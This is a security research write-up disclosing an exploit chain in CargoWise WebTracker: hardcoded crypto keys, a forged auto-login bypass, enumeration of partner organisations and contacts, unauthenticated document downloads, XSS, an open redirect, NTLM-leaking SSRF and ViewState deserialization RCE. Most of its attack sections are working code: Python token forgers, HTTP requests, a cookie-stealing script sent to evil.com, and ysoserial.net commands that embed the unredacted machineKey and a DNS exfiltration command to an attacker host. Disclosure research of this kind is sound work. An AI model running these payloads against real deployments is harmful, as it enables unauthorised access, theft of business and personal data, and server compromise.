CargoWise WebTracker — The Keys Were in the Cargo

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WiseTech Global develops CargoWise, one of the most widely deployed logistics software platforms in the world. It is used by freight forwarders, customs brokers, warehousing operators and shipping lines across 160+ countries. As part of CargoWise, a customer-facing web portal called WebTracker (version `25.12.3.632` at time of testing) allows external contacts — consignees, shippers, third-party agents — to track shipments, view documents, accept quotes and manage

bookings. Each CargoWise customer deploys their own WebTracker instance on their own domain, but the underlying application is the same ASP.NET WebForms codebase shipped as a set of compiled DLLs from WiseTech.

A note on redaction

We were asked by WiseTech to redact two of the hardcoded key, specifically the ones used by the crypto functions in `TripleDESCryptoServiceProviderExtensions` and `TwoWayEncoder`. WiseTech indicated that these credentials may still be in use in other products across their stack, and that exposing them at this stage would be harmful while remediation is ongoing. Their teams are still working through further mitigations, and we agreed to hold these two keys back.

Hardcoded Keys

Two hardcoded symmetric keys protect the entire application.

The file **`TripleDESCryptoServiceProviderExtensions.cs`** contains an extension method called **`InitializeForCargoWise()`**. Every **`TripleDES`** instance in the application is initialized through this method:

`public static void InitializeForCargoWise(this SymmetricAlgorithm provider) { MD5 mD = MD5.Create(); provider.Key = mD.ComputeHash(Encoding.ASCII.GetBytes( "[REDACTED]" )); provider.IV = new byte[8] { /* REDACTED */ }; }`

The passphrase and IV are compile-time constants. The key is derived by taking the MD5 hash of the passphrase, then using the first 16 bytes + the first 8 bytes again to form a 24-byte 3DES key. This key protects the **`SecureQueryString`** class, which encrypts and decrypts query string parameters throughout the application — authentication tokens, document handler parameters, error page messages, and redirect URLs.

A second hardcoded key exists in **`TwoWayEncoder.cs`** for AES-256-CBC:

`private readonly byte[] Key = Encoding.ASCII.GetBytes("[REDACTED]");`

The IV is derived from a hardcoded GUID (**`[REDACTED]`**) by stripping dashes, lowercasing, and taking a 16-character substring. .

Authentication Bypass

WebTracker has an “auto-login” feature designed for email links. When CargoWise sends a tracking email to a customer, it includes a link with an encrypted token so the recipient can click through without entering a password. The handler for this lives in **`AutoLoginRequestHandler.cs`**:

`public class AutoLoginRequestHandler : IHttpHandler, IRequiresSessionState { public void ProcessRequest(HttpContextBase context) { string text = context.Request.QueryString["AutoLogin"]; SecureQueryString secureQueryString = new SecureQueryString(text); ZGuid contactPK = new ZGuid(secureQueryString["ContactPK"]);

bool result = false; if (!bool.TryParse(secureQueryString["RequireLogin"], out result)) result = false;

`*` // ... `*` zWebController.RedirectToTrackingPage(contactPK, businessContext, ZString.Empty, result, text); } }`

The handler reads an encrypted **`AutoLogin`** parameter, decrypts it with the hardcoded 3DES key, extracts a **`ContactPK`** (a GUID identifying a contact in the CRM), and passes it to **`ZWebController.RedirectToTrackingPageCore()`**. This is where the session gets created:

`private void RedirectToTrackingPageCore(ZGuid contactPK, string targetUrl, bool requireLogin = false, string queryStringData = null) { OrgContact orgContact = Factory.Load<OrgContact> (contactPK); bool flag = orgContact != null && orgContact.Header != null;

ZString zString4 = (flag ? orgContact.OC_Email : ((ZString)"CWWeb"));

if (!webUser.IsLoggedIn) { webUser.Login(zString2, zString4, User.WebTransientPassword); FormsAuthentication.SetAuthCookie(zString4, createPersistentCookie: false); }

RedirectToTrackingPageCore(targetUrl); }`

The contact is loaded from the database by PK. If it doesn't exist, the code falls through to the default username **`"CWWeb"`**. Critically, **`FormsAuthentication.SetAuthCookie()`** is called regardless — even for a non-existent contact. The **`.ASPXAUTH`** cookie is issued before any meaningful validation.

The token format is straightforward:

`ContactPK={guid}&RequireLogin=false&__TimeStamp__=2079-06-06 00:00:00Z`

The **`__TimeStamp__`** field is checked against **`DateTime.UtcNow`** in **`SecureQueryString.DeserializeCore()`**. Setting it to year 2079 (which happens to be the class's own default value) ensures the token never expires.

Since we have the 3DES key, we can encrypt any token we want:

`import hashlib, base64, urllib.parse from cryptography.hazmat.primitives.ciphers import Cipher, modes from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES from cryptography.hazmat.primitives import padding

PASSPHRASE = b"[REDACTED]" IV = bytes([]) * # REDACTED * kh = hashlib.md5(PASSPHRASE).digest() KEY = kh + kh[:8]

def encrypt_3des(plaintext): data = plaintext.encode("ascii") p = padding.PKCS7(64).padder() padded = p.update(data) + p.finalize() enc = Cipher(TripleDES(KEY), modes.CBC(IV)).encryptor() return base64.b64encode(enc.update(padded) + enc.finalize()).decode("ascii")

token = encrypt_3des("ContactPK=00000000-0000-0000-0000-000000000001" "&RequireLogin=false" "&**TimeStamp**=2079-06-06 00:00:00Z")

url = ("https://<target>/Tracking/" "AutoLoginRequestHandler.axd" f"?AutoLogin={urllib.parse.quote(token, safe='')}" "&ClientRedirection=TRUE")`

The resulting URL authenticates anyone who clicks it:

`GET /Tracking/AutoLoginRequestHandler.axd?AutoLogin=<encrypted> HTTP/1.1 Host: <target>

* --> *

HTTP/1.1 302 Found Set-Cookie: .ASPXAUTH=<hex>; path=/; HttpOnly Location: /Tracking/Default.aspx`

The `ContactPK` in this token is `00000000-0000-0000-0000-000000000001` a GUID we chose arbitrarily. It does not need to correspond to any real contact because when `Factory.Load<OrgContact>()` fails to find this PK in the database, the code falls back to the hardcoded username `"CWWeb"` and calls `FormsAuthentication.SetAuthCookie()` anyway. Any non-existent GUID triggers the same fallback.

Session Persistence on Handler Endpoints

`AutoLoginRequestHandler` implements `IHttpHandler` directly — it's an `.axd` handler, not an ASP.NET `Page`. This distinction matters because `BasePageWithAuthorisation.OnUnload()` contains a session cleanup mechanism:

`protected override void OnUnload(EventArgs e) { session["AutoLoginQueryStringData"] = null; TrackingSiteUser siteUser = base.SiteUser; if (siteUser != null && siteUser.IsShipmentQuickViewUser) { FormsAuthentication.SignOut(); siteUser.Logout(); session?.Abandon(); } }`

`IsShipmentQuickViewUser` returns `true` when the logged-in user's organisation matches the deploying company's own organisation — which is the case for the `CWWeb` fallback user. This means the `.ASPXAUTH` cookie is cleared after each `.aspx` page renders.

However, `OnUnload` only fires on ASP.NET `Page` subclasses. The `.axd` handlers (`IHttpHandler`), `.ashx` handlers, and `.asmx` WebService endpoints never enter the Page lifecycle. The forged session persists indefinitely across these endpoints.

Organization Enumeration

The `AutoCompleteTextBoxRequestHandler.ashx` handler dynamically instantiates helper classes to search the database. The `helper` parameter is encrypted with the hardcoded AES-256 key:

`public void ProcessRequest(HttpContext context) { string typeName = queryParamsEncoder.Decrypt(context.Request["helper"]); AutoCompleteHelper autoCompleteHelper = (AutoCompleteHelper)Activator.CreateInstance(Type.GetType(typeName), new object[1]); autoCompleteHelper.MaxOptionsCount = int.Parse(queryParamsEncoder.Decrypt(context.Request["count"])); List<string> list = autoCompleteHelper.GetList(textToSearch);` *// ...renders HTML <li> items with PKs* `}`

Since this is an `.ashx` handler (implements `IHttpHandler`), the forged session persists across calls. Since we have the AES key, we can encrypt any .NET type name for the `helper` parameter.

The `OrgHeaderAutoCompleteHelper` searches organizations. When called with the forged session, it returns the deploying company's organization — because the `CWWeb` fallback user is associated with it:

`private ZDBOnlyQuery GetOrgRestrictionQuery() { ZGuid oC_OH = ((OrgContact)WebEnv.CurrentUser).OC_OH; zDBOnlyQuery.AddToFilter(OrgHeaderSchema.PK, oC_OH);` *// + supplier/buyer links if IsConsignor/IsConsignee flags set* `` ` }POST /Tracking/AutoCompleteTextBoxRequestHandler.ashx HTTP/1.1 Host: <target> Cookie: .ASPXAUTH=<forged> Content-Type: application/x-www-form-urlencoded ``

helper=<AES encrypted type name>&count=<AES encrypted "200">&value=

`*` --> `*`

HTTP/1.1 200 OK Content-Type: text/plain

<redacted org name> <org-pk> <org-code>
`

Supplier/Buyer Link Enumeration

The **OrgHeaderAutoCompleteHelper** accepts serialized parameters that control supplier/buyer filtering:

public override void RestoreAdditionalParamsFromSerializedString(string serializedParamsString) { string[] array = serializedParamsString.Split(','); IsConsignor = bool.Parse(array[0]); IsConsignee = bool.Parse(array[1]); NewOrgRelationType = (NewOrgRelationTypes)Enum.Parse(typeof(NewOrgRelationTypes), array[2]); }

When **IsConsignor** or **IsConsignee** is set, the query expands to include organizations linked through the **OrgSupplierBuyerLink** table:

if (IsConsignor) { ZDBOnlySubQuery zDBOnlySubQuery = new ZDBOnlySubQuery(typeof(OrgSupplierBuyerLink), OrgSupplierBuyerLinkSchema.OL_OH_Supplier); zDBOnlySubQuery.AddToFilter(OrgSupplierBuyerLinkSchema.OL_OH_Buyer, oC_OH); zDBOnlyQuery.AddSubQuery(OrgHeaderSchema.PK, zDBOnlySubQuery, JoinCondition.Or); }

By passing **params="True,True,Unknown"** (both consignor and consignee flags set), the helper returns not just the deploying company but every organization linked to it as a supplier or buyer:

data = { "helper": encrypt_aes(ORG_HELPER), "count": encrypt_aes("500"), "value": "A", "params": encrypt_aes("True,True,Unknown"), }

With both flags set, the query returns not just the deploying company but every organization linked to it as a supplier or buyer. Each result includes the organization name, PK, and company code. On any deployment with active trading relationships, this turns a single organization into a full directory of business partners.

Contact & Address Enumeration

The organization PK extracted above feeds directly into dependent autocomplete helpers. The **OrgContactAutoCompleteHelper** and **OrgAddressAutoCompleteHelper** both extend **DependentBizOAutoCompleteHelper**, which accepts a parent organization PK through an encrypted **params** parameter:

`public abstract class DependentBizOAutoCompleteHelper : AutoCompleteHelper { public ZGuid ParentPK { get; set; }

public override void RestoreAdditionalParamsFromSerializedString(string serializedParamsString) { ParentPK = new ZGuid(serializedParamsString); } }`

The contact helper searches by name prefix, filtered to the specified organization:

public class OrgContactAutoCompleteHelper : DependentBizOAutoCompleteHelper { protected override ZQuery GetListFilter(ZString key) { zDBOnlyQuery.AddToFilter(OrgContactSchema.OC_OH, base.ParentPK); zDBOnlyQuery.AddToFilter(OrgContactSchema.OC_ContactName, SQLComparisonOperator.StartsWith, key); zDBOnlyQuery.AddToFilter(OrgContactSchema.OC_IsActive, ZBool.True); return zDBOnlyQuery; } }

By iterating through A–Z as prefixes and passing the organization PK as the encrypted **params**, we enumerated all active contacts for the organization. The AES encryption for the autocomplete parameters uses UTF-16-LE encoding and URL-safe Base64:

`from cryptography.hazmat.primitives.ciphers import Cipher, modes from cryptography.hazmat.primitives.ciphers.algorithms import AES from cryptography.hazmat.primitives import padding

AES_KEY = b"[REDACTED]" AES_IV = b"[REDACTED]"

def encrypt_aes(plaintext): data = plaintext.encode("utf-16-le") p = padding.PKCS7(128).padder() padded = p.update(data) + p.finalize() enc = Cipher(AES(AES_KEY), modes.CBC(AES_IV)).encryptor() ct = base64.b64encode(enc.update(padded) + enc.finalize()).decode("ascii") return ct.replace("=", "!").replace("/", "|").replace("+", "-")

CONTACT_HELPER = "Enterprise.ZArchitecture.Web.Business.OrgContactAutoCompleteHelper, Enterprise.ZArchitecture.Web.Business"

data = { "helper": encrypt_aes(CONTACT_HELPER), "count": encrypt_aes("200"), "value": "A", "params": encrypt_aes(org_pk), * # org PK from step 2 * } resp = session.post("https://<target>/AutoCompleteTextBoxRequestHandler.ashx", data=data)POST /AutoCompleteTextBoxRequestHandler.ashx HTTP/1.1 Host: <target> Cookie: .ASPXAUTH= <forged> Content-Type: application/x-www-form-urlencoded

helper=<AES encrypted type>&count=<AES encrypted "200">&value=A¶ms=<AES encrypted org PK>

-->

HTTP/1.1 200 OK

John Smith 44434cbf-c2ac-4d60-8ab1-049f6e8d38f0 Alice Chen 4dbb2c03-936e-4f80-b90d-19dd305e2c9d ...`

The same approach applies to **OrgAddressAutoCompleteHelper** for physical addresses and **OrgAddressReceivablesAutoCompleteHelper** for billing addresses — full street details, address codes, and PKs.

Since the organization enumeration returns all linked trading partners, we can enumerate contacts for each of them by iterating through A–Z with their org PK as the **params** value. Each external organization yields its own set of contacts — real employee names and PKs. These contacts are critical for the next step.

Pivoting to Full Page Access

The **CWWeb** fallback session (from the dummy GUID) has a limitation: the **IsShipmentQuickViewUser** check in **OnUnload()** kills the session after any **.aspx** page renders, restricting us to handler endpoints. But the contacts we just enumerated from external organizations provide a way around this.

`public bool IsShipmentQuickViewUser { get { if (base.IsLoggedIn && (base.IsSuperUser || base.IsWebUser)) { return base.LoggedInUser.OC_OH == GlbCompany.CurrentCompany.OrgProxy.PK; } return false; } }`

`IsShipmentQuickViewUser` returns `true` when the logged-in user's organization (`OC_OH`) matches the deploying company's org PK. The `CWWeb` user is associated with the deploying company, so the check fires and the session is killed. But a contact from an external organization — one of the trading partners we just enumerated — has a *different* `OC_OH` . For these contacts, `IsShipmentQuickViewUser` returns `false` , and the session cleanup in `OnUnload()` never executes.

When `AutoLoginRequestHandler` receives a `ContactPK` that exists in the database, the code at line 90-94 of `ZWebController` loads the real contact and logs in using their email and their organization's company code — not the `CWWeb` fallback:

`OrgContact orgContact = Factory.Load<OrgContact>(contactPK); bool flag = orgContact != null && orgContact.Header != null; // flag is true for real contacts ZString zString4 = (flag ? orgContact.OC_Email : ((ZString)"CWWeb"));`

So we forge a new AutoLogin token using a real contact PK from an external organization:

`token = encrypt_3des("ContactPK=<contact-pk-from-external-org>" "&RequireLogin=false" "&**TimeStamp**=2079-06-06 00:00:00Z")GET /Tracking/AutoLoginRequestHandler.axd?AutoLogin=<encrypted> HTTP/1.1 Host: <target>

`*` --> `*`

HTTP/1.1 302 Found Set-Cookie: .ASPXAUTH=<hex>; path=/; HttpOnly Location: /Tracking/Default.aspx`

This time, the session is authenticated as the external contact's email, not `CWWeb` . Following the redirect to `Default.aspx` , which redirects to `Shipments.aspx` — the page renders, `OnUnload()` fires, `IsShipmentQuickViewUser` evaluates to `false` , and **the session survives**.

We confirmed this by following the full redirect chain:

`1. AutoLoginRequestHandler.axd 302, .ASPXAUTH set

1. Default.aspx 302 /Tracking/Shipments/Shipments.aspx, auth=YES
2. Shipments/Shipments.aspx 200, 192KB, auth=YES session survived page render`

For comparison, the dummy GUID (`CWWeb` user) hitting the same page:

`1. AutoLoginRequestHandler.axd 302, .ASPXAUTH set

1. Default.aspx 302 /Tracking/Shipments/Shipments.aspx, auth=YES
2. Shipments/Shipments.aspx 200, 187KB, auth=NO session killed by OnUnload()`

With a surviving session on `.aspx` pages, `Shipments.aspx` renders the full shipment list for the external contact's organization. The page source contains shipment GUIDs — the PKs needed by every document handler.

The complete chain is now:

- Forge session with dummy GUID enumerate organizations via autocomplete (including all trading partners)
- Enumerate contacts for external organizations real contact PKs
- Forge session with external contact PK session survives `.aspx` pages
- Browse `Shipments.aspx` shipment GUIDs from page source

Document Download

With shipment GUIDs in hand, the `.axd` document handlers become accessible. These all inherit from `DataRequestHandler<T>` and implement `IHttpHandler` — the forged session persists across calls.

The `FreightLabelRequestHandler` and `HouseBillRequestHandler` inherit from `BookingDocumentRequestHandler`, which takes a shipment reference PK and looks up the associated booking:

`protected override TrackingBooking GetBooking(BusinessObjectFactory factory, ZGuid pk) { return TrackingBooking.GetFromRefPK(factory, pk, ...); }`

The `Data` parameter is encrypted with 3DES via `SecureQueryString`:

`qdata = encrypt_3des(f"Data={shipment_guid}&**TimeStamp**=2079-06-06 00:00:00Z") url = f"https://<target>/Tracking/FreightLabelRequestHandler.axd?qdata={quote(qdata)}"GET /Tracking/FreightLabelRequestHandler.axd?qdata=<encrypted> HTTP/1.1 Host: <target> Cookie: .ASPXAUTH=<forged>

-->

HTTP/1.1 200 OK Content-Type: application/pdf Content-Disposition: attachment; filename="FreightLabel.pdf"

%PDF-1.4 ...`

The handlers perform no organization-level access check — the `DataRequestHandler<T>` base class reads the `Data` parameter, splits GUIDs, and passes them to the helper. If the PK exists in the database, the document is returned regardless of which organization it belongs to. A shipment GUID from one organization works from any session.

Each handler accepts different PK types:

HandlerPK TypeWhat It Returns `FreightLabelRequestHandler.axd` Shipment ref PKFreight label PDF `HouseBillRequestHandler.axd` Shipment ref PKHouse bill PDF `InvoiceRequestHandler.axd` Invoice PKInvoice PDF `StatementRequestHandler.axd` Organization PKFinancial statement PDF `QuoteRequestHandler.axd` Quote PKQuotation PDF `eDocsRequestHandler.axd` Document PKScanned document/image

The `StatementRequestHandler` is notable because it doesn't need a shipment GUID at all — it takes the organization PK (which we already enumerated in step 2) and generates a financial statement PDF for that company's transactions.

XSS via Error Page

WebTracker has an error page at `Error.aspx` that reads an encrypted `data` parameter and renders it as HTML. The page uses an ASP.NET `Literal` control:

`public class Error : BasePage { protected Literal MessageDescription;

protected override void OnLoad(EventArgs e) { if (HttpContext.Current.Request.Params["data"] != null) { SecureQueryString secureQueryString = new SecureQueryString(base.Request["data"]);

PageTitle.Text = secureQueryString["title"]; MessageDescription.Text = secureQueryString["message"]; } } }`

A **Literal** renders its **Text** property directly into the page with no encoding. Whatever HTML we put in the **message** field gets rendered raw:

`payload = encrypt_3des('title=Important Security Notice' '&message= <script>document.location="https://evil.com/?c="+document.cookie</script>') url = f"https://<target>/Tracking/Error.aspx?data={urllib.parse.quote(payload, safe='')}"GET /Tracking/Error.aspx?data=<encrypted> HTTP/1.1 Host: <target>

-->

HTTP/1.1 200 OK Content-Type: text/html

... <script>document.location="https://evil.com/?c="+document.cookie</script> ...`

The page inherits from **BasePage** which has no authentication requirement, so this works without any session. The encrypted URL is indistinguishable from a legitimate error redirect — the application itself generates these URLs through **ZGlobal.ReportError()** for configuration errors and access denied messages.

Open Redirect

RunUrl.aspx is a simple open redirect with no validation:

```
public class RunUrl : ZPage { protected override void OnLoad(EventArgs e) { string text = GetStringFromParameter("Ref"); if (!string.IsNullOrEmpty(text)) Response.Redirect(text); } }
```

The **Ref** parameter is read directly from the query string — no encryption, no authentication — and passed to **Response.Redirect()** with no validation. A plain URL is all it takes:

```
https://<target>/Tracking/RunUrl.aspx?Ref=https://evil.com/phishing
```

Outbound SSRF (via Network Shares) Leading to NTLM Hash Leakage

In addition to all of the bugs above, our team also discovered a way to chain the authentication bypass with another bug inside the **ResourceStringUsageData.axd** endpoint, allowing for out of bands calls, ultimately allowing attackers to leak the NTLM credentials of a system through an SMB connection.

The handler for this file was defined as so:

```
<add verb="GET" path="ResourceStringUsageData.axd" type="Enterprise.ZArchitecture.Web.GUI.WebControls.TranslationFeedbackManager+ResourceStringUsageRequestHandler, Enterprise.ZArchitecture.Web.GUI" />
```

Reading the logic of **TranslationFeedbackManager** we can see that the handler **ResourceStringUsageRequestHandler** defines one main method:

`public override ZBlob GetBinaryData() { string resourceStringUsageFile = GetResourceStringUsageFile(QueryString["s"], Guid.Parse(QueryString["Data"])); if (!File.Exists(resourceStringUsageFile)) { throw new InvalidQueryStringException("Requested data not found"); } return File.ReadAllBytes(resourceStringUsageFile); }`

To understand how this is called, we need to dig into the class that it is based off **`DataRequestHandler<ResourceStringUsageRequesHelper>`** — reading DataRequestHandler, we can see the following:

`public void ProcessRequest(HttpContext context) { object obj = ((context.Session != null) ? context.Session["SiteUser"] : null); using (Db.DisposableActionForDbConnection()) { bool lockTaken = false; try { if (obj != null) { Monitor.Enter(obj, ref lockTaken); } if (QueryString != null && QueryString.Count > 0) { PreProcessRequest(); byte[] array = RetrieveFromCache(PKs) ?? ((byte[])GetBinaryData());`

The **`GetBinaryData()`** call would ultimately call **`TranslationFeedbackManager+ResourceStringUsageRequestHandler.GetBinaryData()`** which is where our sink exists.

Ultimately, the attack flows like so:

`public override ZBlob GetBinaryData() { string resourceStringUsageFile = GetResourceStringUsageFile(QueryString["s"], *// attacker-controlled: "\attacker.comc$aaa"* Guid.Parse(QueryString["Data"]) *// attacker-controlled: parsed as Guid*); if (!File.Exists(resourceStringUsageFile)) *// SINK: triggers UNC resolution* { throw new InvalidQueryStringException("Requested data not found"); } return File.ReadAllBytes(resourceStringUsageFile); *// secondary sink* }`

The following HTTP request will lead to the pre-auth outbound request, leaking NTLM credentials if the attacker is running tooling such as Responder on their receiving IP/connection:

`GET /Tracking/ResourceStringUsageData.axd?s=\attackerhost.comc$a&Data=00000000-0000-0000-0000-000000000000 HTTP/2 Host: example.com Cookie: .ASPXAUTH=123; WebTracker_SessionId=123;`

Remote Code Execution via ViewState Deserialization

Beyond the hardcoded 3DES and AES keys, we found a third hardcoded key with far more severe implications. The **`Web.Config.Sample`** shipped with WebTracker contains a static **`machineKey`**:

`<machineKey validationKey="A28194E8124CC6D33F8C2F313E357ED5C835E5105E4337586022126F516C0D99BD0F333DD2056459E3D821877596B2794C4EB42376DAE0996261464E830263C0" decryptionKey="A37F1DACCC7E561612359877914304E679160BC7FAA3F92BE1C6A38963BD7B67" validation="SHA1" decryption="AES" />`

The **`machineKey`** is used by ASP.NET to encrypt and sign ViewState — the serialized page state sent to the client as a hidden form field on every page load. If an attacker knows the **`machineKey`**, they can forge ViewState containing arbitrary serialized objects. When the server deserializes the forged ViewState, those objects are instantiated — leading to remote code execution.

Finding the Right Target

ASP.NET 4.5+ uses purpose-specific key derivation (SP800-108 with HMAC-SHA512) to derive separate encryption and validation keys for each page. The purpose string includes the page's virtual path, so we needed to identify the exact page path and application path used in production.

More importantly, ASP.NET supports a **ViewStateUserKey** property that binds ViewState to a specific session. If set, the attacker needs the victim's session ID to forge a valid ViewState — making unauthenticated exploitation impossible.

In **ZPage.cs**, the base class for all WebTracker pages, we found:

`if (Session != null && !IsLoginPage()) { WebUser siteUser = SiteUser; if (siteUser != null && siteUser.IsLoggedIn) { base.ViewStateUserKey = Session.SessionID; } }`

The login page is explicitly excluded from **ViewStateUserKey** protection. This makes **Login.aspx** the ideal target — its ViewState can be forged without any session, allowing fully unauthenticated exploitation.

Confirming the machineKey

We fetched the login page and extracted the **__VIEWSTATE** hidden field:

`GET /Tracking/Login/Login.aspx HTTP/1.1 Host: <target>

` --> `

<input type="hidden" name="**VIEWSTATE" value="/wEPDwUKLTEwNjMxMTc2NQ..." /> <input type="hidden" name="**VIEWSTATEGENERATOR" value="0351D242" />`

ASP.NET 4.5+ ViewState format is: **IV (16 bytes) || AES-256-CBC ciphertext || HMAC-SHA1 (20 bytes)**. The IV is randomly generated by ASP.NET for each page render and sent in the clear as the first 16 bytes of the blob — it doesn't need to be secret, just unique per encryption. The **__VIEWSTATEGENERATOR** field (**0351D242**) is unrelated to the IV — it's a static CRC32 hash of the page class name (**login_login_aspx**), computed at compile time, and tells ASP.NET which page class the ViewState belongs to.

The encryption and HMAC keys are derived from the **machineKey** using SP800-108, scoped to a purpose string built from the page path:

- **Label:** **WebForms.HiddenFieldPageStatePersister.ClientState**
- **Context** (BinaryWriter-encoded): **TemplateSourceDirectory: /TRACKING/LOGIN** + **Type: LOGIN_LOGIN_ASPX**

Using these parameters, we successfully decrypted the ViewState from the login page, confirming the **machineKey** from **Web.Config.Sample** is used in production. Re-encrypting the same plaintext and POSTing it back returned HTTP 200, confirming we can forge valid ViewState.

ViewState is entirely client-side — the server keeps no record of which ViewState blobs it has issued. The only checks on an incoming ViewState are: does the HMAC signature validate (requiring the **validationKey**), and does the ciphertext decrypt to valid data (requiring the **decryptionKey**). Since both keys are hardcoded in **Web.Config.Sample**, we can encrypt and sign arbitrary content, and the server has no way to distinguish it from a ViewState it generated itself.

Bypassing .NET 4.8 Type Filtering

With a confirmed `machineKey` and a page with no `ViewStateUserKey`, the standard approach is to use ysoserial.net to generate a ViewState containing a `BinaryFormatter` gadget chain (e.g., `TypeConfuseDelegate`) that executes an OS command on deserialization.

However, the target runs .NET Framework 4.8, which introduced a type allowlist for `ObjectStateFormatter` deserialization. When we sent a `TypeConfuseDelegate` payload, the server rejected it — the types in the gadget chain (`SortedSet<string>`, `Comparison<string>`) are not on the allowlist.

The bypass is a two-stage attack documented by Nick Landers at NetSPI. The .NET 4.8 type filter is controlled by an internal boolean: `System.Workflow.ComponentModel.AppSettings.disableActivitySurrogateSelectorTypeCheck`. The `ActivitySurrogateDisableTypeCheck` gadget in ysoserial.net uses types that *are* on the allowlist to flip this boolean via reflection, disabling the type filter for subsequent deserialization calls within the same worker process.

The attack requires two separate HTTP requests:

- **Stage 1 — Disable type filter:** Send a ViewState containing the `ActivitySurrogateDisableTypeCheck` gadget. The server deserializes it, flipping the internal boolean. The server returns HTTP 500 (the gadget intentionally throws), but the side effect persists in the worker process.
- **Stage 2 — Execute command:** Send a ViewState containing a `TypeConfuseDelegate` gadget with the actual OS command. With the type filter disabled, the server deserializes the full gadget chain and executes the command.

Both payloads are generated with ysoserial.net's `-p ViewState` plugin, which handles the SP800-108 key derivation, AES encryption, and HMAC signing internally:

Stage 1 — Disable type filter:

```
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck \ -c "ignored" \ --path="/Tracking/Login/Login.aspx" --apppath="/Tracking/" \ --decryptionalg="AES" \ --decryptionkey="A37F1DACCC7E5616123598779143 04E679160BC7FAA3F92BE1C6A38963BD7B67" \ --validationalg="SHA1" \ --validationkey="A28194E8124CC6D33F8C2F313E357ED5C835E5105E4337586022126F516C0D99BD0F333DD2056459E3D821877596B2794C4EB42376DAE0996261464E830263C0" \ --islegacy --isdebug
```

Stage 2 — RCE (example: DNS exfiltration of hostname):

```
ysoserial.exe -p ViewState -g TypeConfuseDelegate \ -c "cmd /c nslookup %COMPUTERNAME%.attacker.oastify.com" \ --path="/Tracking/Login/Login.aspx" --apppath="/Tracking/" \ --decryptionalg="AES" \ --decryptionkey="A37F1DACCC7E5616123598779143 04E679160BC7FAA3F92BE1C6A38963BD7B67" \ --validationalg="SHA1" \ --validationkey="A28194E8124CC6D33F8C2F313E357ED5C835E5105E4337586022126F516C0D99BD0F333DD2056459E3D821877596B2794C4EB42376DAE0996261464E830263C0" \ --islegacy --isdebug
```

Each command outputs a base64-encoded ViewState. The POST request is straightforward:

`POST /Tracking/Login/Login.aspx HTTP/1.1 Host: <target> Content-Type: application/x-www-form-urlencoded

VIEWSTATE=<url-encoded ysoserial output>&VIEWSTATEGENERATOR=0351D242`

Stage 1 returns HTTP 500 (expected). After a 10-second pause, Stage 2 returns HTTP 500 as well — but the command executes before the exception is thrown.

Each Stage 1 disable only affects one IIS worker process. If the Stage 2 request is routed to a different worker, the type filter is still active and the payload fails silently. For reliable exploitation, Stage 1 and Stage 2 should be sent in quick succession to maximize the chance of hitting the same worker, with a ~10 second gap to avoid overwhelming the application pool.

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Customers of Searchlight Cyber's ASM solution, Assetnote, are always first to receive checks for the novel vulnerabilities we discover – often weeks or months before public disclosure. Our Security Research Team continues to dig beyond public PoCs to deliver high-signal detections to our platform. Learn more.

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Shubham Shah is Chief Security Research Officer, having joined Searchlight Cyber following the acquisition of Assetnote, where he was Co-Founder and CTO. Shubham leads the global security research team whose findings feed directly into Searchlight Exposure – surfacing zero-day vulnerabilities in the tools organisations rely on, often months ahead of public disclosure. He remains a prolific bug bounty hunter ranked in the top 50 hackers on HackerOne, and has

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